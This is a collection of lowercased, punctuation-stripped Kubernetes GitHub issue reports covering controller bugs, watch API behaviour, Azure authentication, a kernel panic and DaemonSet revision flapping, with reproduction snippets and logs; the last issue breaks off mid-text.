creating this issue here to manage the multiple pieces involved while doing  40296. i would be breaking that pr into smaller and easily acceptable ones.\r     background:\r we have been getting some issues related to federated services because some corner cases are not handled in the controller. current federated service controller also predates the federated informer framework which handles lot of scenarios compared to earlier ones. so one major improvement would be to use the federated informer for federated service controller.\r     following is the breakup of the tasks\r -  x  write e2e testcases to enhance function coverage which are not handled by current service controller.  27623,  35827 - pr  41254\r -  x  use federated informer. - pr  41258\r -  x  store lb ingress information in service annotations instead of service cache. storing lb ingress information in service annotation is better maintainable and does not get lost across service controller restarts. also this information can be utilized in the future to develop independent controllers to manage service discovery in federation. - pr  41258\r -     handle removing dns records for federated services, when cluster is unregistered. this would fix leaking dns records.  29335,  36657\r -  x  segragate dns related code from service controller to another controller  service-dns controller  to manage dns records of federated service. - pr  45034\r -  x  enhance the unit tests for both service controller and the new service-dns controller. - pr  41258\r \r cc @kubernetes/sig-federation-bugs @kubernetes/sig-federation-pr-reviews @quinton-hoole @nikhiljindal \r also request to comment on any suggestion to better handle these task.

is this a bug report or feature request?    choose one :    \r bug\r \r ---\r \r \r   kubernetes version    use  kubectl version  :    \r k8s1.3.5. still exist in 1.6\r \r ---\r \r   what happened  :    \r \r when exec threadsafemap.index func, the returned items contain nil object. that is to say, index is in threadsafemap but the corresponding has already been deleted.\r \r ---\r \r \r   what you expected to happen  :     \r when object is deleted from threadsafemap,   all its index   must be deleted.\r \r ---\r \r \r   how to reproduce it    as minimally and precisely as possible :  \r \r \r suppose we init threadsafemap with two indexers:   indexfunc1 and indexfunc2  .\r \r obviously,   indexfunc may return error   if the object has something wrong or some other reasons.\r \r when we add an object, will first add the object to threadsafemap.items, then compute the index and add the index into threadsafe.indices.\r \r \r    \r func  c  threadsafemap  add key string, obj interface{}  {\r \tc.lock.lock  \r \tdefer c.lock.unlock  \r \toldobject := c.items key \r \tc.items key  = obj\r \tc.updateindices oldobject, obj, key \r }\r \r func  c  threadsafemap  updateindices oldobj interface{}, newobj interface{}, key string  error {\r \t// if we got an old object, we need to remove it before we add it again\r \tif oldobj != nil {\r \t\tc.deletefromindices oldobj, key \r \t}\r \tfor name, indexfunc := range c.indexers {\r \t\tindexvalues, err := indexfunc newobj \r \t\tif err != nil {\r \t\t\treturn\r \t\t}\r \t\tindex := c.indices name \r \t\tif index == nil {\r \t\t\tindex = index{}\r \t\t\tc.indices name  = index\r \t\t}\r \r \t\tfor _, indexvalue := range indexvalues {\r \t\t\tset := index indexvalue \r \t\t\tif set == nil {\r \t\t\t\tset = sets.string{}\r \t\t\t\tindex indexvalue  = set\r \t\t\t}\r \t\t\tset.insert key \r \t\t}\r \t}\r \treturn nil\r }\r    \r \r when we delete the object, will first delete the index from indices, then delete it from threadsafemap.items.\r \r    \r func  c  threadsafemap  delete key string  {\r \tc.lock.lock  \r \tdefer c.lock.unlock  \r \tif obj, exists := c.items key ; exists {\r \t\tc.deletefromindices obj, key \r \t\tdelete c.items, key \r \t}\r }\r    \r \r suppose   indexfunc1 object  return error and indexfunc2 object  works well  . i think this circumstance is absolutely possible to happen.\r \r also we know that   the order to exec  indexfunc is not decided.   feature of iterating map.\r \r \r    \r \tfor name, indexfunc := range c.indexers {\r \t\tindexvalues, err := indexfunc newobj \r \t\tif err != nil {\r \t\t\treturn\r \t\t}\r \t\t... ...\r \t}\r    \r \r \r when we add object, suppose   first exec indexfunc2, and then exec indexfunc1  .  so the index of indexfunc2 is added to indices. but the index of indexfunc1 is not added, because indexfunc1 obj  return err.\r \r then we delete the object, suppose   first exec indexfunc1  . it will return error and indexfunc2 has no chance to run. so the corresponding index indexfunc2 obj  can't be removed. but then the object is removed from items.\r \r this problem may result in subtle problems.\r for example, when we exec threadsafemap.index    func ，the returned list may include nil object.\r \r \r ---\r \r \r   anything else we need to know  \r \r the reason is that index is still is threadsafemap but the corresponding object has already been removed.\r \r we must clear all corresponding indexs when delete object.\r \r and the reason why index is not deleted is that when for-range map, the order is not decided.\r \r ---\r

problem statement  :\r the kubernetes  pod docs  https://kubernetes.io/docs/concepts/workloads/pods/pod/ termination-of-pods  state:\r    \r once the grace period has expired the kill signal is sent to those processes and the pod is then deleted from the api server.\r    \r however deleting a pod with the  --grace-period  flag does not ensure it's removal from the api server within the specified time.\r \r   environment  :\r - kubernetes version : 1.6.1\r - cloud provider: gke\r \r   how to reproduce it  :\r \r run a sample pod like:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   labels:\r     app: nginx\r spec:\r   containers:\r   - name: nginx-server\r     image: nginx\r     ports:\r     - containerport: 80\r    \r    \r $ kubectl create -f nginx-pod.yaml\r    \r \r watch the pod\r    \r $ kubectl get pod nginx -w\r    \r \r delete the pod with a grace period of 1 second:\r    \r $ kubectl delete pod nginx --grace-period=1\r    \r \r the watch output should show the pod status being returned by the api server even after 1 second has passed:\r    \r $ kubectl get pod nginx -w\r name      ready     status    restarts   age\r nginx     1/1       running   0          2s\r nginx     1/1       terminating   0         11s\r nginx     0/1       terminating   0         11s\r nginx     0/1       terminating   0         14s\r     \r \r periodically querying the pod via  kubectl get pod nginx -o yaml  while the pod is being terminated  from a different run   shows  https://gist.github.com/hasbro17/9de253a461311085f5aa0d9583f15170  the api server repeatedly returning the pod spec after the grace period has expired.

 \r the support for managed identity extension in azure is incompatible with automatic acr integration. acr currently only supports authentication with an admin password  which is generally discouraged  and  client_id / client_secret  auth with aad service principals.\r \r 

 \r   what happened  :\r a pod using a portworx volume driver pvc gets stuck in containercreating phase. the kubelet logs indicate that the mount phase is failing.\r \r   what you expected to happen  :\r the pod goes to running and ready state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a pod spec and restrict the pod to run on a specific minion. let's call this minion   node1  \r - ensure portworx node is not running on this minion  using labels and nodaffinity feature \r - apply the pod spec\r - now observe the pod events and kubelet logs. the mount phase of the pod will keep failing and the pod will be stuck in containercreating state. this will continue even after portworx on   node1   is brought back up.\r \r   environment  : k8s version 1.6.5 and above running portworx cluster. \r - kubernetes version  use  kubectl version  : k8s version 1.6.5 and above\r - cloud provider or hardware configuration  : any\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : n/a\r - install tools: n.a\r - others: n/a\r

i have etcd in one aws ec2 instance and other kubernetes master in another ec2 instance everything is working fine. now i created ami of my existing master so that i can create new master using that ami but when i am creating new master with this ami and my existing master goes down. it is giving error:\r \r \ error retrieving resource lock kube-system/kube-controller-manager:get http://10.31.106.127:8080/api/v1/namespaces/kube-system/endpoints/kube-controller--manager: dial tcp 10.31.106.127:8080: getsockopt: connection refused\ \r \r i also tried   --leader-elect   also but for two masters its not working.\r \r please give me some suggestion how to achieve high-availability of kubernetes masters with 2 masters.

is this a bug report or feature request?  :\r  \r   what happened  :\r not all variants of api servers store the tls cert files at /var/run/kubernetes. after the commit acba2cb was merged back in feb, some variants such as kube-aggregator stores them at 'apiserver.local.config/certificates', but the hard-coded help message still says it will save the keys and certs generated into /var/run/kubernetes.\r \r   what you expected to happen  :\r either we refactor the code so the help message prints an accurate location, or we change the help message to make it always true.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kube-aggregator --help \r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : at least 1.7 and above\r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i'm working on a tool that reports deployment statuses to an external source, which utilizes the deployment watch api. however, i've seen some unexpected behavior with the watch api, and i couldn't find proper documentation for it:\r \r - scenario i: when you start a watch call with a resourceversion that is too old, you will get a  410 gone  error.\r - scenario ii: when you start a watch call with a valid resourceversion, you will get a stream of events that have newer resourceversions replayed to you.\r - scenario iii: when you start a watch call with no resourceversion  null or empty string , you get a stream of only deployment  added  events, and no other events such as  modified ,  deleted  or  error  events are replayed.\r \r   what you expected to happen  :\r \r the behavior in scenario iii is inconsistent with the documentation  https://kubernetes.io/docs/api-reference/v1.8/ watch-list-31 , where it says resourceversion will default to the beginning of history if not specified. i would expect if i don't provide a resourceversion with the watch call, it will replay all the events kubernetes have since the beginning of event history, not just  added  events.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a deployment in an empty namespace, and log the resourceversion at time of creation.\r 2. start a watch call on deployments in the namespace with the resourceversion, and see the history of events replayed one  added , and most likely a couple of  modified  events\r 3. start a watch call on deployment in the namespace with no resourceversion, and see only one  added  event.\r \r \r   anything else we need to know?  :\r \r also,  events in stackdriver  https://kubernetes.io/docs/tasks/debug-application-cluster/events-stackdriver/  mentioned the retention policy of one hour, but the watch api seems to be able to replay events from longer in the past. i wonder if there is a configuration or more documents around event retention policy?\r \r   environment  :\r - kubernetes version  use  kubectl version  :  {major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:  minikube version: v0.22.3 \r - os  e.g. from /etc/os-release :  buildroot 2017.02 \r - kernel  e.g.  uname -a  :  darwin kernel version 16.7.0 o\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r kernel panic, when large number of pods are scheduled at a time in parallel.  after the panic, vm not able to recover.\r \r   what you expected to happen  :\r not to hit kernel panic. after max number of pods  default is 110  are created and running, remaining pods should be in pending state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create kubernetes setup  v1.8  \r 2. create a sample pod yaml\r nginx.yaml\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: snginx\r   labels:\r     app: nginx\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r     - containerport: 80\r    \r 3. run this script to create multiple pods in parallel:\r    python\r import os\r import yaml\r import multiprocessing\r \r def create num :\r     print i\r     template = \ /opt/test/nginx.yaml\ \r     new_file = \ /opt/test/nginx-%d.yaml\  % i\r     with open template, \ r\   as f:\r         data = yaml.load f \r     data \ metadata\   \ name\  =\ snginx-%d\  % i\r     with open new_file, 'w'  as f:\r         yaml.dump data, f, default_flow_style=false \r     os.popen \ kubectl create -f %s\  % new_file \r     return\r \r if __name__ == '__main__':\r     jobs =   \r     for i in range 1,110 :\r         p = multiprocessing.process target=create, args= i,  \r         jobs.append p \r         p.start  \r    \r \r   anything else we need to know?  :\r \r logs indicate the following:\r    \r  ttm parport_pc floppy parport drm_kms_helper drm syscopyarea sysfillrect acpi_cpufreq i2c_piix4 sysimgblt i2c_core ip_tables xfs libcrc32c ata_generic pata_acpi xen_netfront xen_blkfront crc32c_intel serio_raw ata_piix libata dm_mirror dm_region_hash dm_log dm_mod\r   7978.974921  cpu: 1 pid: 13939 comm: docker-containe not tainted 4.1.12-61.1.33.el7uek.x86_64  2\r   7978.974921  hardware name: xen hvm domu, bios 4.3.1ovm 07/26/2016\r   7979.079489  task: ffff880078925400 ti: ffff88016a73c000 task.ti: ffff88016a73c000\r   7979.079489  rip: 0010: <ffffffff811ee8e6>    <ffffffff811ee8e6>  kmem_cache_alloc+0x76/0x260\r   7979.079489  rsp: 0018:ffff88016a73fcf8  eflags: 00010282\r   7979.079489  rax: 0000000000000000 rbx: 0000000000000000 rcx: 00000000051cc3e5\r   7979.079489  rdx: 00000000051cc3e4 rsi: 0000000000000200 rdi: ffff8801e435cb00\r   7979.079489  rbp: ffff88016a73fd38 r08: 000000000001acc0 r09: ffffffff811cea24\r   7979.079489  r10: 00000007f71e4ffa r11: ffff8801bddca640 r12: 0000000000000200\r   7979.079489  r13: 00007f71e37f7000 r14: ffff8801ee403b00 r15: ffff8801ee403b00\r   7979.079489  fs:  00007f71f9ffb700 0000  gs:ffff8801ee840000 0000  knlgs:0000000000000000\r   7979.079489  cs:  0010 ds: 0000 es: 0000 cr0: 0000000080050033\r   7979.079489  cr2: 00007f71e37f7000 cr3: 00000001e4c22000 cr4: 00000000001406e0\r   7979.079489  stack:\r   7979.079489   ffff8801e4431e40 ffffffff811cea24 00007f71e4ffb000 ffff8801b33d4b00\r   7979.079489   ffff8801ce3d63c0 0000000000000000 ffff8801bddca960 0000000000000000\r   7979.079489   ffff88016a73fd98 ffffffff811cea24 ffff88016a73fd78 ffff880074fafa28\r   7979.079489  call trace:\r   7979.201533    <ffffffff811cea24>  ? anon_vma_clone+0x64/0x1c0\r   7979.201533    <ffffffff811cea24>  anon_vma_clone+0x64/0x1c0\r   7979.201533    <ffffffff81201c14>  ? __memcg_kmem_get_cache+0x44/0x140\r   7979.201533    <ffffffff811cebb6>  anon_vma_fork+0x36/0x120\r   7979.201533    <ffffffff81082fa6>  copy_process.part.25+0x1276/0x1bc0\r   7979.201533    <ffffffff81083ab1>  do_fork+0xe1/0x3b0\r   7979.201533    <ffffffff8122d5be>  ? __fd_install+0x4e/0x60\r   7979.201533    <ffffffff81083e06>  sys_clone+0x16/0x20\r   7979.201533    <ffffffff817219ae>  system_call_fastpath+0x12/0x71\r   7979.201533  code: 4c 03 05 4e b8 e1 7e 4d 8b 28 49 8b 40 10 4d 85 ed 0f 84 86 01 00 00 48 85 c0 0f 84 7d 01 00 00 49 63 46 20 48 8d 4a 01 4d 8b 06 <49> 8b 5c 05 00 4c 89 e8 65 49 0f c7 08 0f 94 c0 84 c0 74 b8 49\r   7979.201533  rip   <ffffffff811ee8e6>  kmem_cache_alloc+0x76/0x260\r   7979.201533   rsp <ffff88016a73fcf8>\r   7979.306162  cr2: 00007f71e37f7000\r   7979.306162  bug: unable to handle kernel paging request at 00007f71e37f7000\r   7979.306162  ip:  <ffffffff811eeb4a>  kmem_cache_alloc_trace+0x7a/0x280\r   7979.306162  pgd 1e4431067 pud 798e8067 pmd 1649a3067 pte 0\r   7979.306162  oops: 0000   2  smp\r   7979.344664  modules linked in: nf_conntrack_netlink xt_nflog nfnetlink_log dummy vport_vxlan vxlan ip6_udp_tunnel udp_tunnel openvswitch ip_set_hash_ip xt_set ip_set nfnetlink xt_recent ipt_reject nf_reject_ipv4 xt_comment xt_mark xt_nat veth xenfs xen_privcmd ipt_masquerade nf_nat_masquerade_ipv4 iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack br_netfilter bridge stp llc ext4 jbd2 mbcache2 dm_thin_pool dm_persistent_data dm_bio_prison dm_bufio ppdev crct10dif_pclmul crc32_pclmul aesni_intel fb_sys_fops lrw gf128mul glue_helper ablk_helper cryptd pcspkr cirrus ttm parport_pc floppy parport drm_kms_helper drm syscopyarea sysfillrect acpi_cpufreq i2c_piix4 sysimgblt i2c_core ip_tables xfs libcrc32c ata_generic pata_acpi xen_netfront xen_blkfront crc32c_intel serio_raw ata_piix libata dm_mirror dm_region_hash dm_log dm_mod\r   7979.344664  cpu: 1 pid: 13939 comm: docker-containe not tainted 4.1.12-61.1.33.el7uek.x86_64  2\r   7979.344664  hardware name: xen hvm domu, bios 4.3.1ovm 07/26/2016\r   7979.344664  task: ffff880078925400 ti: ffff88016a73c000 task.ti: ffff88016a73c000\r   7979.344664  rip: 0010: <ffffffff811eeb4a>    <ffffffff811eeb4a>  kmem_cache_alloc_trace+0x7a/0x280\r .......\r   7979.647987  kernel panic - not syncing: fatal exception\r   7979.647987  kernel offset: disabled\r   7979.647987  drm_kms_helper: panic occurred, switching back to text console\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r v1.8.3  latest \r \r - cloud provider or hardware configuration:\r private cloud, vm based on xen \r \r - os  e.g. from /etc/os-release :\r rhel 7.2\r \r - kernel  e.g.  uname -a  :\r 4.1.12-61.1.33.el7uek.x86_64\r \r - docker version:\r 17.03.1-ce, build 276fd32\r \r - kernel settings:\r kernel.softlockup_panic = 1\r kernel.panic = 260\r net.bridge.bridge-nf-call-iptables = 1\r net.bridge.bridge-nf-call-ip6tables = 1\r \r \r   /area cluster-ops\r /area release-infra\r /area admin\r \r \r

we should allow to pass a tcp listener into an api server via genericapiserver config. this will allow us to use kernel zero-port allocation  localhost:0  to find a free port instead of the retry loops we have everywhere in tests.\r \r at the moment we pass a port via the options into the config. a zero port does not work because the loopback clients created during apiserver initialization need to know the port before. passing a listener into the server instead would allow us to use a zero port beforehand and bootstrapping order should be fine.\r \r solves https://github.com/kubernetes/kubernetes/issues/42224.

is this a bug report or feature request?  :\r  \r   what happened  :\r deploy a cluster on azure with managed identity.\r \r the controller manager won't start:\r    \r f1116 02:32:54.888022       1 controllermanager.go:151  error building controller context: cloud provider could not be initialized: could not init cloud provider \ azure\ : azuredisk -  failed to init blob disk controller with error  azure.bearerauthorizer withauthorization: failed to refresh the token for request to https://management.azure.com/subscriptions/{id}/providers/microsoft.storage/storageaccounts?api-version=2016-12-01: statuscode=0 -- original error: adal: refresh request failed. status code = '400' \r    \r \r the following code tries to list all storage account in subscription, while it only has permission for the containing resource group.\r https://github.com/kubernetes/kubernetes/blob/40e6a6b7adb01cd6bb9ec88e50893d3baeb2246f/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l556\r \r this issue would also apply for service principals with permission for the cluster resource group only.\r \r   what you expected to happen  :\r the cluster works correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r refer to:\r https://github.com/azure/acs-engine/blob/master/docs/kubernetes/features.md managed-identity\r \r   anything else we need to know?  :\r \r   environment  :\r    \r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r updated:\r the client would only list the resources it has permission to, so the issue's cause here is not rbac permission. please see below comments for detail.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r in case scheduler misses a node delete event, or cleaning the node from scheduler cache errors out, node will stay in scheduler cache forever and scheduler will try to schedule pods on it and keeps seeing an error similar to:\r \r e1123 00:00:00       7 factory.go:913  error scheduling namespace pod-1: node 'node-xyz' not found; retrying\r \r when scheduler sees these \ not found\  errors for a node, it should delete the node from its cache. in order to tolerate transient errors, it is better if it deletes the node when it keeps seeing this error multiple times and over some period of time.\r \r 

flag name:  rotate-certificates \r \r help text:\r \r <warning: beta feature> auto rotate the kubelet client certificates by requesting new certificates from the kube-apiserver when the certificate expiration approaches.\r \r ---\r \r this is part of migrating the kubelet command-line to a kubernetes-style api.\r \r the  --rotate-certificates  flag should either be migrated to the kubelet's  kubelet.config.k8s.io \r api group, or simply removed from the kubelet.\r \r if this could be considered an instance-specific flag, or a descriptor of local topology\r managed by the kubelet, see: https://github.com/kubernetes/kubernetes/issues/61647.\r \r if this flag is only registered in os-specific builds, see: https://github.com/kubernetes/kubernetes/issues/61649.\r \r @sig-node-pr-reviews @sig-node-api-reviews\r \r /assign @mtaufen\r   / /milestone v1.11\r /status approved-for-milestone

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r on a 1.11.1 cluster the daemonset controller is deleting pods for a single daemonset just about immediately after creating them on a variety of hosts  approx. 5/18 hosts . this happens continually. this happens accross restarts or controller. the delete line is logged  here  https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/controller/daemon/daemon_controller.go l1041 \r looking at the controllerrevisions backing the daemonset, there are two controller revisions that are getting updated very frequently and their revision count is continually increasing. what happens is something like this:\r \r    daemonset sync loop 1\r   daemonset controller considers controller revision a to match the ds and  calls it a current controller revision  https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/controller/daemon/update.go l109 \r   daemonset controller considers controller revision b to  not  match the ds and  calls it an old controller revision  https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/controller/daemon/update.go l111 \r   daemonset controller increments the revision of a to the revision of b plus 1, and ensures all pods have controller revision a as their controller revision, deleting those that do not.\r \r    daemonset sync loop 2  order of <1s later \r   daemonset controller considers controller revision a to  not  match the ds and  calls it an old controller revision  https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/controller/daemon/update.go l111 \r   daemonset controller considers controller revision b to match the ds and  calls it an current controller revision  https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/controller/daemon/update.go l109 \r   daemonset controller increments the revision of b to the revision of a plus 1, and ensures all pods have controller revision b as their controller revision, deleting those that do not.\r \r and so on and so on, the daemonset controller will forever switch which controllerrevision it thinks is the current one, continually triggering a rolling update of the pods. i verified this by  deploying a fork of the kube-controller-manager with a bunch of logging  https://github.com/ryanmcnamara/kubernetes/tree/rm/debug-ds  based off of v1.11.1\r \r also with that logging i was able to figure out that the reason the daemonset controller considers the daemonset equal to a one sync loop and equal to b in another sync loop is that the daemonset being obtained  here  https://github.com/ryanmcnamara/kubernetes/blob/rm/debug-ds/pkg/controller/daemon/daemon_controller.go l1180  has a different node affinity in its pod spec than it does in the previous iteration. i verified this by printing the bytes of the daemonset  several lines later  https://github.com/ryanmcnamara/kubernetes/blob/rm/debug-ds/pkg/controller/daemon/daemon_controller.go l1194 .\r \r in sync loop 1 the bytes are something like this  redacted :\r    \r {\r   \ metadata\ : {\r      ...\r   },\r   \ spec\ : {\r     \ selector\ : {\r       ...\r     },\r     \ template\ : {\r       \ metadata\ : {\r         ...\r       },\r       \ spec\ : {\r         \ affinity\ : {\r           \ nodeaffinity\ : {\r             \ requiredduringschedulingignoredduringexecution\ : {\r               \ nodeselectorterms\ :  \r                 {\r                   \ matchexpressions\ :  \r                     {\r                       \ key\ : \ com.palantir.rubix/resource-group\ ,\r                       \ operator\ : \ in\ ,\r                       \ values\ :  \r                         \ a\ ,\r                         \ b\ ,\r                         \ c\ ,\r                         \ d\ ,\r                        \r                     }\r                    \r                 }\r                \r             }\r           }\r         },\r       }\r     },\r     ...\r   },\r   \ status\ : {\r     ...\r   }\r }\r    \r and in sync loop 2 the bytes are something like this  redacted \r    \r {\r   \ metadata\ : {\r     ...\r   },\r   \ spec\ : {\r       ...\r     },\r     \ template\ : {\r       \ metadata\ : {\r         ...\r       },\r       \ spec\ : {\r         \ affinity\ : {\r           \ nodeaffinity\ : {\r             \ requiredduringschedulingignoredduringexecution\ : {\r               \ nodeselectorterms\ :  \r                 {\r                   \ matchexpressions\ :  \r                     {\r                       \ key\ : \ com.palantir.rubix/resource-group\ ,\r                       \ operator\ : \ in\ ,\r                       \ values\ :  \r                         \ a\ ,\r                         \ b\ ,\r                         \ d\ ,\r                         \ c\ \r                        \r                     }\r                    \r                 }\r                \r             }\r           }\r         },\r       }\r     },\r   },\r   \ status\ : {\r     ...\r   }\r }\r    \r \r as you can see the order of the values of the node selector have changed  a,b,c,d vs a,b,d,c . in sync loop 1, they match controllerrevision a, in sync loop 2 they match controllerrevision b\r \r if i get the daemonset bytes myself  using kubectl, it matches the sync loop 2 bytes printed  always  \r \r naturally, i thought something was inconsistently updating the daemonset, but looking through the kube-apiserver-audit logs, i found that nothing was updating the daemonset. i also looked through the logs of an authorization webhook we have configured and saw the same thing.\r \r i don't know what to think then, it would appear that on different daemonset sync loops the daemonset is read from the db differently\r \r would appreciate some advice on how to debug this further. thank you!\r \r   what you expected to happen  :\r \r i expect the daemonset to be read from the db the same if it isn't updated\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r no idea, i have not seen this happen on a daemonset before. i have a suspicion it has something to do with the daemonset being persisted with an unsorted node selector values\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: aws\r

  \r   what happened  :\r horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: unable to fetch metrics from resource metrics api: unauthorized\r    \r name             reference                   targets         minpods   maxpods   replicas   age\r app01-1400-uat   deployment/app01-1400-uat   <unknown>/85%   3         3         3          26m\r \r    \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl describe hpa app001-1400-uat -n=uat\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:   v1.11.3  \r - cloud provider or hardware configuration:   hardware  \r - os  e.g. from /etc/os-release :   centos linux release 7.5  \r - kernel  e.g.  uname -a  :   4.1.12-124.17.2.el7uek.x86_64  \r

btrfs is prone to running out of disk before it runs out of disk.  we may be able to tweak image-gc-low-threshold to make this less likely with k8s: https://github.com/kubernetes/kubernetes/blob/head/docs/admin/garbage-collection.md

problem: creating a watch using events  .withlabel \ foo\ , \ bar\   does not pick up events for namespaces and contained objects with that label.  the program below illustrates the issue.  please try running the program \ as shipped\  and you will see that events are recorded for the namespace and rep-controller within that namespace that i create.  next, please uncomment the line labeled \ please uncomment this to reproduce bug\  and re-run.  you will notice that no events are received, even though the selector was created for items with  label animal=dog, which holds for both the namespace and the rep controller i create within that  namespace.      import com.fasterxml.jackson.databind.objectmapper import com.typesafe.scalalogging.strictlogging import io.fabric8.kubernetes.api.model.{replicationcontroller, event, namespace} import io.fabric8.kubernetes.client.watcher.action import io.fabric8.kubernetes.client._ import scala.collection.javaconverters._  object labeltest  extends app with strictlogging {    val k8surl = \ http://localhost:8080\    val namespacename = \ fooboxfoo100\     def go  : unit = {     val kube: kubernetesclient = getconnection      createeventwatch kube      thread.sleep 2   1000        val retval: namespace = kube.namespaces  .createnew         .withapiversion \ v1\         .withnewmetadata         .withname namespacename        .withlabels map \ animal\  -> \ dog\  .asjava        .endmetadata         .done        kube.replicationcontrollers  .innamespace namespacename .create getrc       thread.sleep 20   1000    }    def getconnection = {     val configbuilder =   new configbuilder       val config =       configbuilder.         withmasterurl k8surl .         build       new defaultkubernetesclient config    }    def createeventwatch kube: kubernetesclient  = {     getconnection.       events  .       inanynamespace  .       //withlabel \ animal\ , \ dog\  .         // please uncomment this to reproduce bug.       watch geteventreceivedhandler        def geteventreceivedhandler: watcher event  = {       new watcher event    {         override def eventreceived action: action, resource: event  {           logger.info \ event => {}: {}\ , action, resource            logger.info \ event recv'd\           }          override def onclose e: kubernetesclientexception  {           if  e != null  {             logger.error \ improper close of k8s event watcher\ , e            } else {             logger.error \ improper close of k8s event watcher\             }         }       }     }   }   def getrc: replicationcontroller = {      val jsontemplate =        \ \ \       |{      |  \ kind\ : \ replicationcontroller\ ,      |  \ apiversion\ : \ v1\ ,      |  \ metadata\ : {      |    \ name\ : \ spark-master-rc\ ,      |    \ labels\ : {      |      \ name\ : \ spark-master\ ,      |      \ animal\ : \ dog\       |    }      |  },      |  \ spec\ : {      |    \ replicas\ : 1,      |    \ selector\ : {      |      \ name\ : \ spark-master\       |    },      |    \ template\ : {      |      \ metadata\ : {      |        \ labels\ : {      |          \ name\ : \ spark-master\       |        }      |      },      |      \ spec\ : {      |        \ containers\ :        |          {      |            \ name\ : \ spark-master\ ,      |            \ image\ : \ redis\ ,      |            \ imagepullpolicy\ : \ always\ ,      |            \ metadata\ : {      |              \ name\ : \ spark-master-rc\ ,      |              \ labels\ : {      |              \ name\ : \ spark-master\ ,      |              \ animal\ : \ dog\       |              }      |            },      |            \ ports\ :        |              {      |                \ containerport\ : 7077      |              },      |              {      |                \ containerport\ : 8080      |              }      |             ,      |            \ resources\ : {      |              \ resources\ : {      |                \ cpu\ : \ 2000m\ ,      |                \ memory\ : \ 4gi\       |              },      |              \ limits\ : {      |                \ cpu\ : \ 2000m\ ,      |                \ memory\ : \ 4gi\       |              }      |            }      |          }      |               |      }      |    }      |  }      |}        \ \ \ .      stripmargin      system.out.println \ json:\  + jsontemplate ;      new objectmapper  .readvalue jsontemplate, classof replicationcontroller      }    go   }        thanks  /chris

this is a fork from https://github.com/kubernetes/kubernetes/pull/43077 issuecomment-292108152\r \r i think title is self explanatory. \r \r ping @kubernetes/sig-apps-misc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r yes, request for help. refered - https://kubernetes.io/docs/admin/authorization/rbac/ to enable rbac on api server\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r rbac authorization forbidden - unable to register node vm.\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r root@master   ~    kubectl version  \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.772+7831a5426fca83\ , gitcommit:\ 7831a5426fca83d5f9a66341b7a07a64178f8807\ , gittreestate:\ clean\ , builddate:\ 